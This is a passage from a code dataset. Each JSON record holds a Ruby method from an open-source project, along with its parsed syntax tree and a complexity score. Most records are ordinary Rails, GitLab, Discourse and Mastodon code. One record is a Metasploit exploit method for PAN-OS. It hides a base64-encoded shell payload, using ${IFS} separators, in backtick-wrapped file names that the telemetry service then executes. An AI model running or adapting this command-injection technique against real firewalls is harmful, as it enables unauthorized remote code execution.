end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_automatically_added_reorder_references\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"reorder\",{\"type\":\"str\",\"children\":[\"comments.body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"comments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"references_values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"reorder\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"quoted_table_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"quoted_primary_key\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"comments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"references_values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"reorder\",{\"type\":\"str\",\"children\":[\"comments.body\"]},{\"type\":\"str\",\"children\":[\"yaks.body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"comments\"]},{\"type\":\"str\",\"children\":[\"yaks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"references_values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"reorder\",{\"type\":\"str\",\"children\":[\"comments.body, yaks.body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"comments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"references_values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"reorder\",{\"type\":\"str\",\"children\":[\"comments.body asc\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"comments\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"references_values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"reorder\",{\"type\":\"str\",\"children\":[\"foo(comments.body)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"references_values\"]}]}]}]}","id":"70634ba1-9f7e-4631-8d48-1f76e5982d18"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-oauth2-basic/lib/oauth2_basic_authenticator.rb","start_line":206,"raw_source":"def after_authenticate(auth, existing_account: nil)\n    log <<-LOG\n      after_authenticate response:\n\n      creds:\n      #{auth[\"credentials\"].to_hash.to_yaml}\n\n      uid: #{auth[\"uid\"]}\n\n      info:\n      #{auth[\"info\"].to_hash.to_yaml}\n\n      extra:\n      #{auth[\"extra\"].to_hash.to_yaml}\n    LOG\n\n    if SiteSetting.oauth2_fetch_user_details? && SiteSetting.oauth2_user_json_url.present?\n      if fetched_user_details = fetch_user_details(auth[\"credentials\"][\"token\"], auth[\"uid\"])\n        auth[\"uid\"] = fetched_user_details[:user_id] if fetched_user_details[:user_id]\n        auth[\"info\"][\"nickname\"] = fetched_user_details[:username] if fetched_user_details[\n          :username\n        ]\n        auth[\"info\"][\"image\"] = fetched_user_details[:avatar] if fetched_user_details[:avatar]\n        %w[name email email_verified].each do |property|\n          auth[\"info\"][property] = fetched_user_details[property.to_sym] if fetched_user_details[\n            property.to_sym\n          ]\n        end\n\n        DiscoursePluginRegistry.oauth2_basic_additional_json_paths.each do |detail|\n          auth[\"extra\"][detail] = fetched_user_details[\"extra:#{detail}\"]\n        end\n\n        DiscoursePluginRegistry.oauth2_basic_required_json_paths.each do |x|\n          if fetched_user_details[x[:path]] != x[:required_value]\n            result = Auth::Result.new\n            result.failed = true\n            result.failed_reason = x[:error_message]\n            return result\n          end\n        end\n      else\n        result = Auth::Result.new\n        result.failed = true\n        result.failed_reason = I18n.t(\"login.authenticator_error_fetch_user_details\")\n        return result\n      end\n    end\n\n    super(auth, existing_account: existing_account)\n  end","complexity_score":95.6,"ast_json":"{\"type\":\"def\",\"children\":[\"after_authenticate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"auth\"]},{\"type\":\"kwoptarg\",\"children\":[\"existing_account\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      after_authenticate response:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      creds:\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"credentials\"]}]},\"to_hash\"]},\"to_yaml\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      uid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"uid\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      info:\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"info\"]}]},\"to_hash\"]},\"to_yaml\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      extra:\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"extra\"]}]},\"to_hash\"]},\"to_yaml\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"oauth2_fetch_user_details?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"oauth2_user_json_url\"]},\"present?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fetched_user_details\",{\"type\":\"send\",\"children\":[null,\"fetch_user_details\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"credentials\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"uid\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"info\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"nickname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"avatar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"info\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"avatar\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"email\"]},{\"type\":\"str\",\"children\":[\"email_verified\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"property\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"info\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"property\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"property\"]},\"to_sym\"]}]}]},null]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"oauth2_basic_additional_json_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"detail\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},\"[]\",{\"type\":\"str\",\"children\":[\"extra\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"detail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"extra:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"detail\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"oauth2_basic_required_json_paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fetched_user_details\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"required_value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Auth\"]},\"Result\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"failed=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"failed_reason=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_message\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]},null]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Auth\"]},\"Result\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"failed=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"failed_reason=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"login.authenticator_error_fetch_user_details\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"existing_account\"]},{\"type\":\"lvar\",\"children\":[\"existing_account\"]}]}]}]}]}]}","id":"0090426a-22e0-4310-85e7-ba2f844109ee"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/serializers/feedback_serializer.rb","start_line":8,"raw_source":"def model_id\n    object.visual_component.model&.id\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"model_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"visual_component\"]},\"model\"]},\"id\"]}]}","id":"4c050980-19b7-4371-8f09-f4aee9851c35"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/panos_telemetry_cmd_exec.rb","start_line":119,"raw_source":"def exploit\n    # Encode the shell command payload as base64, then embed it in the appropriate exploitation context\n    # Since payloads cannot contain spaces, ${IFS} is used as a separator\n    cmd = \"echo${IFS}-n${IFS}#{Rex::Text.encode_base64(payload.encoded)}|base64${IFS}-d|bash${IFS}-\"\n\n    # Create maliciously named files in both telemetry directories that might be used by affected versions\n    # Both files are necessary, since it seems that some PAN-OS versions only execute payloads in 'hour' and others use 'minute'.\n    # It's possible that the payload will execute twice, but we've only observed one location working during testing\n    files = [\n      \"/opt/panlogs/tmp/device_telemetry/hour/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`\",\n      \"/opt/panlogs/tmp/device_telemetry/minute/#{Rex::Text.rand_text_alpha_lower(4)}`#{cmd}`\"\n    ]\n\n    files.each do |file_path|\n      vprint_status(\"Creating file at #{file_path}\")\n      touch_file(file_path)\n\n      # Must register for clean up here instead of within touch_file, since touch_file is used in the check\n      register_file_for_cleanup(file_path)\n    end\n\n    print_status('Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload')\n    print_status('Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled')\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo${IFS}-n${IFS}\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"str\",\"children\":[\"|base64${IFS}-d|bash${IFS}-\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/opt/panlogs/tmp/device_telemetry/hour/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/opt/panlogs/tmp/device_telemetry/minute/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"str\",\"children\":[\"`\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"`\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating file at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"touch_file\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled\"]}]}]}]}","id":"49c904f5-3643-4978-b723-416fd6b93dad"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff.rb","start_line":918,"raw_source":"def save_diffs\n    new_attributes = {}\n\n    if compare.commits.empty?\n      new_attributes[:state] = :empty\n    else\n      diff_collection = compare_diffs_preloaded\n      new_attributes[:real_size] = diff_collection.real_size\n\n      if diff_collection.any?\n        new_attributes[:state] = :collected\n\n        rows = build_merge_request_diff_files(diff_collection)\n        create_merge_request_diff_files(rows)\n        new_attributes[:sorted] = true\n        self.class.uncached { merge_request_diff_files.reset }\n      end\n\n      # Set our state to 'overflow' to make the #empty? and #collected?\n      # methods (generated by StateMachine) return false.\n      #\n      # This attribution has to come at the end of the method so 'overflow'\n      # state does not get overridden by 'collected'.\n      new_attributes[:state] = :overflow if diff_collection.overflow?\n    end\n\n    assign_attributes(new_attributes)\n  end","complexity_score":33.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save_diffs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_attributes\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare\"]},\"commits\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"empty\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff_collection\",{\"type\":\"send\",\"children\":[null,\"compare_diffs_preloaded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"real_size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_collection\"]},\"real_size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_collection\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"collected\"]}]},{\"type\":\"lvasgn\",\"children\":[\"rows\",{\"type\":\"send\",\"children\":[null,\"build_merge_request_diff_files\",{\"type\":\"lvar\",\"children\":[\"diff_collection\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_merge_request_diff_files\",{\"type\":\"lvar\",\"children\":[\"rows\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sorted\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"uncached\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request_diff_files\"]},\"reset\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_collection\"]},\"overflow?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"overflow\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"assign_attributes\",{\"type\":\"lvar\",\"children\":[\"new_attributes\"]}]}]}]}","id":"0cb1ae7b-b022-4bb5-a76f-2b31446f9caa"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/support/service_template_helper.rb","start_line":121,"raw_source":"def build_small_environment\n        @miq_server = EvmSpecHelper.local_miq_server\n        @ems = FactoryBot.create(:ems_vmware_with_authentication)\n        @host1 =  FactoryBot.create(:host_vmware, :ems_id => @ems.id)\n        @src_vm = FactoryBot.create(:vm_vmware, :host   => @host1,\n                                                 :ems_id => @ems.id,\n                                                 :name   => \"barney\")\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_small_environment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@miq_server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EvmSpecHelper\"]},\"local_miq_server\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@ems\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"ems_vmware_with_authentication\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@host1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"host_vmware\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ems\"]},\"id\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@src_vm\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"create\",{\"type\":\"sym\",\"children\":[\"vm_vmware\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"ivar\",\"children\":[\"@host1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ems_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ems\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"barney\"]}]}]}]}]}]}]}","id":"2706e097-c192-4744-bb02-01be16f51197"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/left_outer_join_association_test.rb","start_line":81,"raw_source":"def test_left_outer_joins_forbids_to_use_string_as_argument\n    assert_raise(ArgumentError) { Author.left_outer_joins('LEFT OUTER JOIN \"posts\" ON \"posts\".\"user_id\" = \"users\".\"id\"').to_a }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_left_outer_joins_forbids_to_use_string_as_argument\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Author\"]},\"left_outer_joins\",{\"type\":\"str\",\"children\":[\"LEFT OUTER JOIN \\\"posts\\\" ON \\\"posts\\\".\\\"user_id\\\" = \\\"users\\\".\\\"id\\\"\"]}]},\"to_a\"]}]}]}","id":"ef6b792e-682e-4cd8-b477-eb932f097d7c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/accounts_controller.rb","start_line":98,"raw_source":"def check_account_confirmation\n    raise(ActiveRecord::RecordNotFound) if @account.local? && !@account.user_confirmed?\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"check_account_confirmation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"local?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"user_confirmed?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotFound\"]}]},null]}]}","id":"4923b4e2-028d-485c-9d9c-4e7e0f402010"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/core/network/ip_filtering.rb","start_line":201,"raw_source":"private_class_method def self.ip_allowed?(client_ip, ip_config)\n          # Parse client IP\n          begin\n            client_addr = IPAddr.new(client_ip)\n          rescue IPAddr::InvalidAddressError\n            return false # Invalid IP format\n          end\n\n          # Check blocklist first (if IP is blocked, deny immediately)\n          if ip_config[:blocklist]&.any?\n            return false if ip_matches_list?(client_addr, ip_config[:blocklist])\n          end\n\n          # Check allowlist (if defined, IP must be in allowlist)\n          if ip_config[:allowlist]&.any?\n            return ip_matches_list?(client_addr, ip_config[:allowlist])\n          end\n\n          # If no allowlist is defined and IP is not in blocklist, allow\n          true\n        